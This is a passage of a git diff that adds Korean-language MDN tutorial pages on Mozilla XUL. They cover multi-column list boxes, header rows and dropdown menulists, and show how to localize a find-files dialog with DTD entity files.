+<p>행에 포함되는 각 셀은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code></code> 요소를 사용해 표현합니다. 3개의 열을 표현하려면, 각각의 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code></code> 내부에 3개의 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code></code>을 넣어야 합니다. 셀의 텍스트 컨텐츠를 명시하려면 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code></code> 요소의 <code><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></code> 속성을 사용합니다. 하나의 열만 있는 단순한 경우에는 <code><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></code> 속성을 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code></code> 요소에 직접 넣을 수 있으며, 이럴 경우에는 앞서 보았던 목록 상자 예제처럼 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code></code> 요소가 전혀 필요 없습니다.</p>
+<p>다음은 두 개의 열과 세개의 행을 가진 목록 박스 예제입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_3.xul">View</a></p>
+<pre>&lt;listbox&gt;
+  &lt;listcols&gt;
+    &lt;listcol/&gt;
+    &lt;listcol/&gt;
+  &lt;/listcols&gt;
+  &lt;listitem&gt;
+    &lt;listcell label="George"/&gt;
+    &lt;listcell label="House Painter"/&gt;
+  &lt;/listitem&gt;
+  &lt;listitem&gt;
+    &lt;listcell label="Mary Ellen"/&gt;
+    &lt;listcell label="Candle Maker"/&gt;
+  &lt;/listitem&gt;
+  &lt;listitem&gt;
+    &lt;listcell label="Roger"/&gt;
+    &lt;listcell label="Swashbuckler"/&gt;
+  &lt;/listitem&gt;
+&lt;/listbox&gt;
+</pre>
+<h3 id=".EB.A8.B8.EB.A6.AC_.ED.96.89" name=".EB.A8.B8.EB.A6.AC_.ED.96.89">머리 행</h3>
+<p>목록 상자에서는 특별한 머리 행을 사용할 수 있습니다. 이것은 일반적인 행과 비슷하지만 다른 모양으로 출력됩니다. 이것은 열 머리를 만들기 위해 사용할 수 있으며, 두 개의 새로운 요소가 사용됩니다.</p>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/listhead" title="listhead">listhead</a></code></code> 요소는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code></code>가 보통 행에 사용되는 것처럼, 머리 행을 위해 사용합니다. 머리 행은 보통 행이 아니라서, 스크립트를 이용해 목록 상자의 첫번째 행을 얻으려고 할 경우 무시됩니다.</p>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/listheader" title="listheader">listheader</a></code></code> 요소는 머리 행의 각 셀에 사용됩니다. 머리 셀의 라벨을 지정하기 위해서는 <code><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></code> 속성을 사용하세요.</p>
+<p>다음은 예제 3에 머리 행을 추가한 예제입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_4"><a id="%EC%98%88%EC%A0%9C_4"></a><strong>예제 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_4.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_4.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:morelists1.png"></div>
+<pre>&lt;listbox&gt;
+
+  &lt;listhead&gt;
+    &lt;listheader label="Name"/&gt;
+    &lt;listheader label="Occupation"/&gt;
+  &lt;/listhead&gt;
+
+  &lt;listcols&gt;
+    &lt;listcol/&gt;
+    &lt;listcol flex="1"/&gt;
+  &lt;/listcols&gt;
+
+  &lt;listitem&gt;
+    &lt;listcell label="George"/&gt;
+    &lt;listcell label="House Painter"/&gt;
+  &lt;/listitem&gt;
+  &lt;listitem&gt;
+    &lt;listcell label="Mary Ellen"/&gt;
+    &lt;listcell label="Candle Maker"/&gt;
+  &lt;/listitem&gt;
+  &lt;listitem&gt;
+    &lt;listcell label="Roger"/&gt;
+    &lt;listcell label="Swashbuckler"/&gt;
+  &lt;/listitem&gt;
+
+&lt;/listbox&gt;
+</pre>
+<p>위 예제에서는 열을 유연하게 만들기 위해 <code><code id="a-flex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code></code> 속성을 사용하였습니다. 이 속성은 다음 절에서 설명하겠지만, 여기서는 열이 남은 공간을 모두 채우도록 하는데 사용하고 있습니다. 여러분이 창의 크기를 변경하면 열이 창만큼 늘어나는 것을 볼 수 있을 것입니다. 창의 크기가 줄어들면, 셀안에 있는 라벨이 자동으로 잘려 지고 생략부호가 출력됩니다. 생략부호가 출력되지 않도록 하기 위해서는 셀이나 아이템에 <code><code id="a-crop"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/crop">crop</a></code></code> 속성을 <code>none</code>으로 설정하면 됩니다.</p>
+<h3 id=".EB.93.9C.EB.A1.AD.EB.8B.A4.EC.9A.B4_.EB.AA.A9.EB.A1.9D" name=".EB.93.9C.EB.A1.AD.EB.8B.A4.EC.9A.B4_.EB.AA.A9.EB.A1.9D">드롭다운 목록</h3>
+<p>드롭다운 목록은 <code>select</code> 요소를 사용하여 HTML에서 생성할 수 있습니다. 사용자는 텍스트상자에서 하나만 선택된 것을 볼 수도 그리고 화살표를 클릭하거나 다른 선택을 하기 위해 텍스트상자 옆에 있는 유사한 버튼을 클릭할 수도 있습니다. 다른 선택사항은 팝업창에 나타날 것입니다. XUL은 이런 목적에 사용할 수 잇는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code> 요소를 가지고 있습니다. 이것은 텍스트상자와 그 옆에 있는 버튼으로 이루어집니다. 이름이 선택된 것은 내부에서 선택된 메뉴로 띄워졌기 때문입니다.</p>
+<p>드롭다운 상자를 기술하기 위해서는 세 가지 요소가 필요합니다. 첫번째는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code> 요소로 버튼을 가진 텍스트상자를 생성합니다. 두번째는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code>으로 버튼을 클릭했을 때 나타나는 팝업창을 생성합니다. 세번재는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code>으로 개별 선택 항목을 생성합니다.</p>
+<p>다음의 예제는 이런한 점을 잘 설명하고 있는 구문입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_5"><a id="%EC%98%88%EC%A0%9C_5"></a><strong>예제 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_5.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_5.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:inputs2.png"></div>
+<pre>&lt;menulist label="Bus"&gt;
+  &lt;menupopup&gt;
+    &lt;menuitem label="Car"/&gt;
+    &lt;menuitem label="Taxi"/&gt;
+    &lt;menuitem label="Bus" selected="true"/&gt;
+    &lt;menuitem label="Train"/&gt;
+  &lt;/menupopup&gt;
+&lt;/menulist&gt;
+</pre>
+<p>위의 menulist는 4가지 선택 항목을 담고있는 데, 각각은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code> 요소에 해당 합니다. 선택 항목을 보이도록 하려면 menulist에서 화살 버튼(▼)을 클릭합니다. 하나를 선택하면, menulist에서 선택된 것이 나타납니다. <code><code id="a-selected"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/selected">selected</a></code></code> 속성은 기본적으로 선택된 값을 지정하는 데 사용됩니다.</p>
+<h4 id=".ED.8E.B8.EC.A7.91_.EA.B0.80.EB.8A.A5.ED.95.9C_.EB.A9.94.EB.89.B4.EB.AA.A9.EB.A1.9D" name=".ED.8E.B8.EC.A7.91_.EA.B0.80.EB.8A.A5.ED.95.9C_.EB.A9.94.EB.89.B4.EB.AA.A9.EB.A1.9D">편집 가능한 메뉴목록</h4>
+<p>기본적으로 사용자는 목록에서 선택항목을 선택할 수만 있습니다. 여러분은 직접 타이핑해서 입력 할 수는 없습니다. 또 다른 종류의 menulist은 필드에서 텍스트 편집을 허용합니다. 예를 들면, 브라우저의 URL 필드 이전에 타이핑한 URL 선택을 위한 드롭다운 메뉴가 있는 데, 거기에 입력할 수도 있습니다.</p>
+<p>편집가능한 menulist를 만들려면, 다음과 같은 <code><code id="a-editable"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/editable">editable</a></code></code> 속성을 추가하면 됩니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_6"><a id="%EC%98%88%EC%A0%9C_6"></a><strong>예제 6</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_6.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_6.xul">View</a></p>
+<pre>&lt;menulist editable="true"&gt;
+  &lt;menupopup&gt;
+    &lt;menuitem label="www.mozilla.org"/&gt;
+    &lt;menuitem label="www.xulplanet.com"/&gt;
+    &lt;menuitem label="www.dmoz.org"/&gt;
+  &lt;/menupopup&gt;
+&lt;/menulist&gt;
+</pre>
+<p>생성된 URL 필드는 사용자가 선택할 수 있는 이미 설정된 선택 항목을 가지고 있으면서 또한 필드에다 사용자 자신이 타이핑할 수도 있습니다. 사용자가 입력한 텍스트는 새로운 선택항목으로 추가되지는 않습니다. <code><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></code> 속성은 이 예제에선 사용되지 않았기 때문에, 기본 값은 공백으로 처리되게 됩니다.</p>
+<p>다음 장에서는 <a href="ko/XUL_Tutorial/Progress_Meters">진행 지시자 만들기</a>를 익혀 보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Input_Controls" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Progress_Meters">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/localization/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/localization/index.html
new file mode 100644
index 0000000000..7ca10f7172
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/localization/index.html
@@ -0,0 +1,279 @@
+---
+title: Localization
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Localization
+tags:
+  - Localization
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Localization
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Creating_a_Skin" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Property_Files">다음  »</a></p>
+</div><p></p>
+<p>XUL과 XML은 지역화를 허락하는 편리한 방법인 엔티티(entity)를 제공합니다.</p>
+<h3 id=".EC.97.94.ED.8B.B0.ED.8B.B0" name=".EC.97.94.ED.8B.B0.ED.8B.B0">엔티티</h3>
+<p>많은 응용프로그램은 될 수 있는 대로 인터페이스를 다른 언어로 옮기기 간단하게 만듭니다. 보통은, 각 언어를 위해 문자열 표를 만듭니다. 응용프로그램에 직접 하드코딩한 텍스트 대신, 각 언어별 텍스트는 오직 문자열 표로 만든 참조입니다. <a href="ko/XML">XML</a>은 비슷한 목적으로 쓸 수 있는 엔티티를 제공합니다.</p>
+<p>여러분이 <a href="ko/HTML">HTML</a>를 써 봤다면 엔티티와는 벌써 친숙할 겁니다. 코드 <code>&amp;lt;</code>와 <code>&amp;gt;</code>는 텍스트에 less than(~보다 적은)과 greater than(~보다 큰) 기호로 놓고 쓸 수 있는 엔티티 예입니다. XML에는 사용자 정의 엔티티를 선언하게 하는 문법이 있습니다. 여러분은 엔티티가 그 값(하나로 이어진 텍스트일 수 있는)으로 치환되도록 사용자 정의 엔티티를 쓸 수 있습니다. 엔티티가 속성값을 포함하는 텍스트마다 쓰일 지도 모릅니다. 아래 예는 버튼에 쓰이는 엔티티를 실제로 보입니다.</p>
+<pre>&lt;button label="&amp;findLabel;"/&gt;
+</pre>
+<p>label에 나타날 텍스트는 엔티티 <code>&amp;findLabel;</code>의 값입니다. 파일은 지원하는 각 언어를 위한 엔티티 선언을 포함하여 만듭니다. 영어에서, <code>&amp;findLabel;</code> 엔티티는 아마도 "Find" 텍스트 값으로 선언될 겁니다.</p>
+<h3 id="DTD_.ED.8C.8C.EC.9D.BC" name="DTD_.ED.8C.8C.EC.9D.BC">DTD 파일</h3>
+<p>엔티티는 DTD (
+ <i>
+  문서 형 선언</i>
+ ) 파일에 선언합니다. 이 형의 파일은 보통 특정 XML 파일의 문법과 의미를 선언하는데 쓰지만 또한 엔티티 선언에 씁니다. Mozilla chrome 시스템에서, &lt;tt&gt;locales&lt;/tt&gt; 하위디렉토리에 있는 DTD 파일을 발견할 겁니다. 보통 XUL 파일당 DTD 파일(확장자가 &lt;tt&gt;.dtd&lt;/tt&gt;) 하나입니다.</p>
+<p>chome 디렉토리를 들여다보면, 당신 언어를 위한 압축(archive) 파일이 보입니다. (&lt;tt&gt;en-US.jar&lt;/tt&gt;는 영어 기본값입니다.) 여러 언어 locale 파일이 있을 지도 모릅니다. 예를 들어, 미국 영어(en-US)와 프랑스어(fr). 이 압축 파일 안에서, 각 창을 위한 지역화 텍스트를 담은 파일을 발견할 겁니다. 압축 파일의 구조는 <a href="ko/XUL_Tutorial/Creating_a_Skin">스킨</a>에 쓰는 디렉토리 구조와 매우 비슷합니다.</p>
+<p>압축 파일 안에, 엔티티를 선언한 DTD 파일을 둡니다. 대체로, 각 XUL 파일에 DTD 파일 하나이고 보통은 &lt;tt&gt;.dtd&lt;/tt&gt; 확장자를 빼면 같은 파일명입니다. 그래서 파일 찾기(find files) 대화상자는 findfile.dtd로 이름 붙인 파일이 필요합니다.</p>
+<p>설치하지 않은 chrome 파일을 위해서는, 그냥 XUL 파일과 같은 디렉토리에 DTD 파일을 둘 수 있습니다.</p>
+<div class="note">
+ <b>주의:</b> 아스키가 아닌 문자를 위해 DTD 파일을 UTF-8N으로 인코드해야 합니다.</div>
+<p>한 번 XUL에 DTD 파일을 만들면, XUL 파일에 쓰고 싶은 DTD 파일을 나타내는 줄이 XUL 파일에 필요합니다. 그렇지 않으면, 엔티티를 찾을 수 없을 거라는 에러가 발생합니다. 이를 위해, XUL 파일 위쪽쯤에 다음 꼴로 한 줄을 추가하세요.</p>
+<pre>&lt;!DOCTYPE window SYSTEM "chrome://findfile/locale/findfile.dtd"&gt;
+</pre>
+<p>이 줄은 나타낸 URL이 파일을 위한 DTD로 쓰임을 지정합니다. 이 경우에, 우리는 &lt;tt&gt;findfile.dtd&lt;/tt&gt; 파일을 쓰기 원한다고 선언했습니다. 이 줄은 보통 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> 요소 바로 앞에 둡니다.</p>
+<h3 id=".EC.97.94.ED.8B.B0.ED.8B.B0_.EC.84.A0.EC.96.B8.ED.95.98.EA.B8.B0" name=".EC.97.94.ED.8B.B0.ED.8B.B0_.EC.84.A0.EC.96.B8.ED.95.98.EA.B8.B0">엔티티 선언하기</h3>
+<p>엔티티는 아래 보는 대로 간단한 문법을 써서 선언합니다.</p>
+<pre>&lt;!ENTITY findLabel "Find"&gt;
+</pre>
+<p>이 예는 이름이 <code>findLabel</code>이고 값이 "Find"인 엔티티를 만듭니다. 이는 텍스트 "&amp;findLabel;"가 XUL 파일에 나타날 때마다, 텍스트 "Find"로 바꿈을 뜻합니다. 엔티티 선언은 선언 끝에 끌리는(trailing) 빗금(/)이 없음을 유념하세요. 다른 언어를 위한 DTD 파일에서는, 그 언어를 위한 텍스트가 대신 쓰입니다.</p>
+<pre class="eval"><b>for Korean:</b>
+&lt;!ENTITY findLabel "찾기"&gt;
+</pre>
+<p>예를 들면, 다음 텍스트는</p>
+<pre>&lt;description value="&amp;findLabel;"/&gt;
+</pre>
+<p>아래처럼 옮깁니다.</p>
+<pre class="eval"><b>English version:</b>
+&lt;description value="Find"/&gt;
+
+<b>Korean version:</b>
+&lt;description value="찾기"/&gt;
+</pre>
+<p>여러분은 인터페이스에 쓸 라벨이나 텍스트 문자열을 위한 엔티티를 선언합니다. XUL 파일에 직접 표시할 텍스트가 전혀 없어도 좋습니다.</p>
+<p>텍스트 라벨를 위한 엔티티 사용 외에도, 엔티티를 다른 언어에서는 서로 다른 아무 값에 써도 좋습니다. 예를 들면, <a href="ko/XUL_Tutorial/Keyboard_Shortcuts">키보드 단축키</a></p>
+<pre class="eval"> <b>XUL</b>
+ &lt;menuitem label="&amp;undo.label;" accesskey="&amp;undo.key;"/&gt;
+ <b>DTD</b>
+ &lt;!ENTITY undo.label "Undo"&gt;
+ &lt;!ENTITY undo.key "u"&gt;
+</pre>
+<p>위 예는 엔티티 둘을 씁니다. 실행 취소 메뉴 항목 라벨에 하나 그리고 단축키를 위해 하나.</p>
+<p> </p>
+<div class="highlight">
+ <h3 id="Find_Files_.EC.98.88.EC.A0.9C_.EB.B0.94.EA.BE.B8.EA.B8.B0" name="Find_Files_.EC.98.88.EC.A0.9C_.EB.B0.94.EA.BE.B8.EA.B8.B0">Find Files 예제 바꾸기</h3>
+ <p>모든 텍스트 문자열을 위해 DTD 파일을 쓰도록 find files 대화상자를 수정하여 어떻게 이 모두를 함께 놓는지 살펴봅시다. 전체 XUL 파일은 빨간색으로 쓴 바뀐 부분과 함께 아래에 보입니다.</p>
+ <pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
+&lt;?xml-stylesheet href="findfile.css" type="text/css"?&gt;
+
+<span class="highlightred">&lt;!DOCTYPE window SYSTEM "<a class="external" rel="freelink">chrome://findfile/locale/findfile.dtd</a>"&gt;</span>
+
+&lt;window
+  id="findfile-window"
+  title="<span class="highlightred">&amp;findWindow.title;</span>"
+  persist="screenX screenY width height"
+  orient="horizontal"
+  onload="initSearchList()"
+  xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+
+&lt;script src="findfile.js"/&gt;
+
+&lt;popupset&gt;
+   &lt;popup id="editpopup"&gt;
+     &lt;menuitem label="Cut" accesskey="<span class="highlightred">&amp;cutCmd.accesskey;</span>"/&gt;
+     &lt;menuitem label="Copy" accesskey="<span class="highlightred">&amp;copyCmd.accesskey;</span>"/&gt;
+     &lt;menuitem label="Paste" accesskey="<span class="highlightred">&amp;pasteCmd.accesskey;</span>" disabled="true"/&gt;
+   &lt;/popup&gt;
+&lt;/popupset&gt;
+
+&lt;keyset&gt;
+   &lt;key id="cut_cmd" modifiers="accel" key="<span class="highlightred">&amp;cutCmd.commandkey;</span>"/&gt;
+   &lt;key id="copy_cmd" modifiers="accel" key="<span class="highlightred">&amp;copyCmd.commandkey;</span>"/&gt;
+   &lt;key id="paste_cmd" modifiers="accel" key="<span class="highlightred">&amp;pasteCmd.commandkey;</span>"/&gt;
+   &lt;key id="close_cmd" keycode="VK_ESCAPE" oncommand="window.close();"/&gt;
+&lt;/keyset&gt;
+
+&lt;vbox flex="1"&gt;
+
+ &lt;toolbox&gt;
+
+  &lt;menubar id="findfiles-menubar"&gt;
+    &lt;menu id="file-menu" label="<span class="highlightred">&amp;fileMenu.label;</span>"
+        accesskey="<span class="highlightred">&amp;fileMenu.accesskey;</span>"&gt;
+      &lt;menupopup id="file-popup"&gt;
+        &lt;menuitem label="<span class="highlightred">&amp;openCmd.label;</span>"
+                  accesskey="<span class="highlightred">&amp;openCmd.accesskey;</span>"/&gt;
+        &lt;menuitem label="<span class="highlightred">&amp;saveCmd.label;</span>"
+                  accesskey="<span class="highlightred">&amp;saveCmd.accesskey;</span>"/&gt;
+        &lt;menuseparator/&gt;
+        &lt;menuitem label="<span class="highlightred">&amp;closeCmd.label;</span>"
+                  accesskey="<span class="highlightred">&amp;closeCmd.accesskey;" key="close_cmd" oncommand="window.close();</span>"/&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+    &lt;menu id="edit-menu" label="<span class="highlightred">&amp;editMenu.label;</span>"
+          accesskey="<span class="highlightred">&amp;editMenu.accesskey;</span>"&gt;
+      &lt;menupopup id="edit-popup"&gt;
+        &lt;menuitem label="<span class="highlightred">&amp;cutCmd.label;</span>"
+                  accesskey="<span class="highlightred">&amp;cutCmd.accesskey;</span>" key="cut_cmd"/&gt;
+        &lt;menuitem label="<span class="highlightred">&amp;copyCmd.label;</span>"
+                  accesskey="<span class="highlightred">&amp;copyCmd.accesskey;</span>" key="copy_cmd"/&gt;
+        &lt;menuitem label="<span class="highlightred">&amp;pasteCmd.label;</span>"
+                  accesskey="<span class="highlightred">&amp;pasteCmd.accesskey;</span>" key="paste_cmd" disabled="true"/&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+  &lt;/menubar&gt;
+
+  &lt;toolbar id="findfiles-toolbar"&gt;
+    &lt;toolbarbutton id="opensearch" label="<span class="highlightred">&amp;openCmdToolbar.label;</span>"/&gt;
+    &lt;toolbarbutton id="savesearch" label="<span class="highlightred">&amp;saveCmdToolbar.label;</span>"/&gt;
+  &lt;/toolbar&gt;
+ &lt;/toolbox&gt;
+
+ &lt;tabbox&gt;
+  &lt;tabs&gt;
+    &lt;tab label="<span class="highlightred">&amp;searchTab;</span>" selected="true"/&gt;
+    &lt;tab label="<span class="highlightred">&amp;optionsTab;</span>"/&gt;
+  &lt;/tabs&gt;
+
+  &lt;tabpanels&gt;
+
+   &lt;tabpanel id="searchpanel" orient="vertical" context="editpopup"&gt;
+
+   &lt;description&gt;
+     <span class="highlightred">&amp;findDescription;</span>
+   &lt;/description&gt;
+
+   &lt;spacer class="titlespace"/&gt;
+
+   &lt;groupbox orient="horizontal"&gt;
+     &lt;caption label="<span class="highlightred">&amp;findCriteria;</span>"/&gt;
+
+     &lt;menulist id="searchtype"&gt;
+       &lt;menupopup&gt;
+         &lt;menuitem label="<span class="highlightred">&amp;type.name;</span>"/&gt;
+         &lt;menuitem label="<span class="highlightred">&amp;type.size;</span>"/&gt;
+         &lt;menuitem label="<span class="highlightred">&amp;type.date;</span>"/&gt;
+       &lt;/menupopup&gt;
+     &lt;/menulist&gt;
+   &lt;spacer class="springspace"/&gt;
+     &lt;menulist id="searchmode"&gt;
+       &lt;menupopup&gt;
+         &lt;menuitem label="<span class="highlightred">&amp;mode.is;</span>"/&gt;
+         &lt;menuitem label="<span class="highlightred">&amp;mode.isnot;</span>"/&gt;
+       &lt;/menupopup&gt;
+     &lt;/menulist&gt;
+   &lt;spacer class="springspace"/&gt;
+
+   &lt;menulist id="find-text" flex="1"
+             editable="true"
+             datasources="<a class="external" rel="freelink">file:///mozilla/recents.rdf</a>"
+             ref="<span class="nowiki">http://www.xulplanet.com/rdf/recent/all</span>"&gt;
+     &lt;template&gt;
+       &lt;menupopup&gt;
+         &lt;menuitem label="<span class="nowiki">rdf:http://www.xulplanet.com/rdf/recent#Label</span>" uri="rdf:*"/&gt;
+       &lt;/menupopup&gt;
+     &lt;/template&gt;
+   &lt;/menulist&gt;
+
+   &lt;/groupbox&gt;
+
+  &lt;/tabpanel&gt;
+
+  &lt;tabpanel id="optionspanel" orient="vertical"&gt;
+     &lt;checkbox id="casecheck" label="<span class="highlightred">&amp;casesensitive;</span>"/&gt;
+     &lt;checkbox id="wordscheck" label="<span class="highlightred">&amp;matchfilename;</span>"/&gt;
+    &lt;/tabpanel&gt;
+
+  &lt;/tabpanels&gt;
+ &lt;/tabbox&gt;
+
+ &lt;tree id="results" style="display: none;" flex="1"&gt;
+   &lt;treecols&gt;
+     &lt;treecol id="name" label="<span class="highlightred">&amp;results.filename;</span>" flex="1"/&gt;
+     &lt;treecol id="location" label="<span class="highlightred">&amp;results.location;</span>" flex="2"/&gt;
+     &lt;treecol id="size" label="<span class="highlightred">&amp;results.size;</span>" flex="1"/&gt;
+   &lt;/treecols&gt;
+
+   &lt;treechildren&gt;
+     &lt;treeitem&gt;
+       &lt;treerow&gt;
+         &lt;treecell label="mozilla"/&gt;
+         &lt;treecell label="/usr/local"/&gt;
+         &lt;treecell label="<span class="highlightred">&amp;bytes.before;</span>2520<span class="highlightred">&amp;bytes.after;</span>"/&gt;
+       &lt;/treerow&gt;
+     &lt;/treeitem&gt;
+   &lt;/treechildren&gt;
+ &lt;/tree&gt;
+
+ &lt;splitter id="splitbar" resizeafter="grow" style="display: none;"/&gt;
+
+ &lt;spacer class="titlespace"/&gt;
+
+ &lt;hbox&gt;
+   &lt;progressmeter id="progmeter" value="50%" style="display: none;"/&gt;
+   &lt;spacer flex="1"/&gt;
+   &lt;button id="find-button" label="<span class="highlightred">&amp;button.find;</span>"
+           oncommand="doFind()"/&gt;
+   &lt;button id="cancel-button" label="<span class="highlightred">&amp;button.cancel;</span>"
+           oncommand="window.close();"/&gt;
+ &lt;/hbox&gt;
+&lt;/vbox&gt;
+
+&lt;/window&gt;
+</pre>
+ <p>각 텍스트 문자열은 엔티티 참조로 바뀝니다. DTD 파일은 XUL 파일의 시작 부분쯤에 포함됩니다. 추가될 각 엔티티는 DTD 파일에 선언하면 좋습니다. 창은 XUL 파일에서 찾은 엔티티가 선언되지 않았으면 표시되지 않습니다.</p>
+ <p>엔티티 이름은 중요하지 않음을 유념하세요. 위 예제에서, 엔티티에 쓰인 단어는 마침표로 구분됐습니다. 여러분은 이렇게 하지 않아도 됩니다. 여기 엔티티 이름은 Mozilla 코드 나머지와 비슷한 관례(convention)를 따릅니다.</p>
+ <p>여러분이 텍스트 '2520 bytes'는 두 엔티티로 바뀌었음에 알아챌지도 모릅니다. 이는 구(phrase) 구조가 딴 locale에서 다를 지도 모르기 때문입니다. 예를 들면, 숫자는 대응하는 'bytes' 뒤 말고 앞에 나올 필요가 있을지도 모릅니다. 물론, 이는 필요에 따라 KB나 MB 표시를 위해 더 복잡할 지도 모릅니다.</p>
+ <p>단축키(access key와 keyboard shortcut)도 아마 딴 locale에서 다를 지도 모르기 때문에 또한 엔티티로 번역됩니다.</p>
+ <p>다음은, DTD 파일(findfile.dtd)입니다.</p>
+ <pre>&lt;!ENTITY findWindow.title "Find Files"&gt;
+&lt;!ENTITY fileMenu.label "File"&gt;
+&lt;!ENTITY editMenu.label "Edit"&gt;
+&lt;!ENTITY fileMenu.accesskey "f"&gt;
+&lt;!ENTITY editMenu.accesskey "e"&gt;
+&lt;!ENTITY openCmd.label "Open Search..."&gt;
+&lt;!ENTITY saveCmd.label "Save Search..."&gt;
+&lt;!ENTITY closeCmd.label "Close"&gt;
+&lt;!ENTITY openCmd.accesskey "o"&gt;
+&lt;!ENTITY saveCmd.accesskey "s"&gt;
+&lt;!ENTITY closeCmd.accesskey "c"&gt;
+&lt;!ENTITY cutCmd.label "Cut"&gt;
+&lt;!ENTITY copyCmd.label "Copy"&gt;
+&lt;!ENTITY pasteCmd.label "Paste"&gt;
+&lt;!ENTITY cutCmd.accesskey "t"&gt;
+&lt;!ENTITY copyCmd.accesskey "c"&gt;
+&lt;!ENTITY pasteCmd.accesskey "p"&gt;
+&lt;!ENTITY cutCmd.commandkey "X"&gt;
+&lt;!ENTITY copyCmd.commandkey "C"&gt;
+&lt;!ENTITY pasteCmd.commandkey "V"&gt;
+&lt;!ENTITY openCmdToolbar.label "Open"&gt;
+&lt;!ENTITY saveCmdToolbar.label "Save"&gt;
+&lt;!ENTITY searchTab "Search"&gt;
+&lt;!ENTITY optionsTab "Options"&gt;
+&lt;!ENTITY findDescription "Enter your search criteria below and select the Find button to begin the search."&gt;
+&lt;!ENTITY findCriteria "Search Criteria"&gt;
+&lt;!ENTITY type.name "Name"&gt;
+&lt;!ENTITY type.size "Size"&gt;
+&lt;!ENTITY type.date "Date Modified"&gt;
+&lt;!ENTITY mode.is "Is"&gt;
+&lt;!ENTITY mode.isnot "Is Not"&gt;
+&lt;!ENTITY casesensitive "Case Sensitive Search"&gt;
+&lt;!ENTITY matchfilename "Match Entire Filename"&gt;
+&lt;!ENTITY results.filename "Filename"&gt;
+&lt;!ENTITY results.location "Location"&gt;
+&lt;!ENTITY results.size "Size"&gt;
+&lt;!ENTITY bytes.before ""&gt;
+&lt;!ENTITY bytes.after "bytes"&gt;
+&lt;!ENTITY button.find "Find"&gt;
+&lt;!ENTITY button.cancel "Cancel"&gt;
+</pre>
+ <p>이제, 새 언어를 위한 텍스트를 추가하기 위해 필요한 모든 것은 다른 DTD 파일을 만드는 겁니다. 딴 locale에 DTD 파일을 추가하기 위해 chrome 시스템을 써서, 같은 XUL 파일을 다른 언어에 쓸 수 있습니다.</p>
+ <p>지금까지 Find files 예제: <a href="https://developer.mozilla.org/samples/xultu/examples//findfile/findfile-locale.xul.txt">Source</a></p>
+</div>
+<p><br>
+ 다음은, <a href="ko/XUL_Tutorial/Property_Files">프로퍼티 파일</a>을 보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Creating_a_Skin" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Property_Files">다음  »</a></p>
